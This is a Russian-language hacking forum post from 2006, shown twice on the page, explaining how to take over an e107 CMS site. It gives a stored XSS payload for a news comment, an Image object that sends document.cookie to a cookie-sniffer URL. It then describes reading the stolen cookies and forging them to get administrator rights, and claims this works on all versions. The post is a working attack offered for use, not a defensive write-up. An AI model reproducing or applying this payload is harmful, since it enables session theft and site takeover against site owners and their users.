VIP Forums Muzblog Chat Games Gallery. Форум, муздневники, чат, игры, галлерея.

DAVid-hay · 19 Dec 06, 02:59

e107 - не менее знаминитый движок(cms) , как известно у него свои дырки.
1 заходим под обычним юзером
2 добавляем в новости комент со следущим кодом(путь конечно нужо поменять на свой)

Code:

[img]img=new Image();img.src="http://localhost/sniff/s.gif?if=2&"+document.cookie;[/img]

3 идем в шнифер и смотрим что там у нас появлось.
4 подделвываем куки и все у нас права админа.

работает на всех версиях, где можно вставить комент с подобным кодом =)

Today's Posts
Last two days	Last 3 days
Last week	Today's Posts LIFE

19 Dec 06, 02:59	#2 (permalink)
DAVid-hay горец VIP Extra Club Join Date: Dec 2006 Location: Севанское высокогорье Posts: 1,587 Rep Power: 20	e107 - не менее знаминитый движок(cms) , как известно у него свои дырки. 1 заходим под обычним юзером 2 добавляем в новости комент со следущим кодом(путь конечно нужо поменять на свой) Code: [img]img=new Image();img.src="http://localhost/sniff/s.gif?if=2&"+document.cookie;[/img] 3 идем в шнифер и смотрим что там у нас появлось. 4 подделвываем куки и все у нас права админа. работает на всех версиях, где можно вставить комент с подобным кодом =)

VIP Forums Muzblog Chat Games Gallery. Форум, муздневники, чат, игры, галлерея.

Science and Technology Today it is science tomorrow it will be technique. (Edward Teller)

Хакаем(ломаем)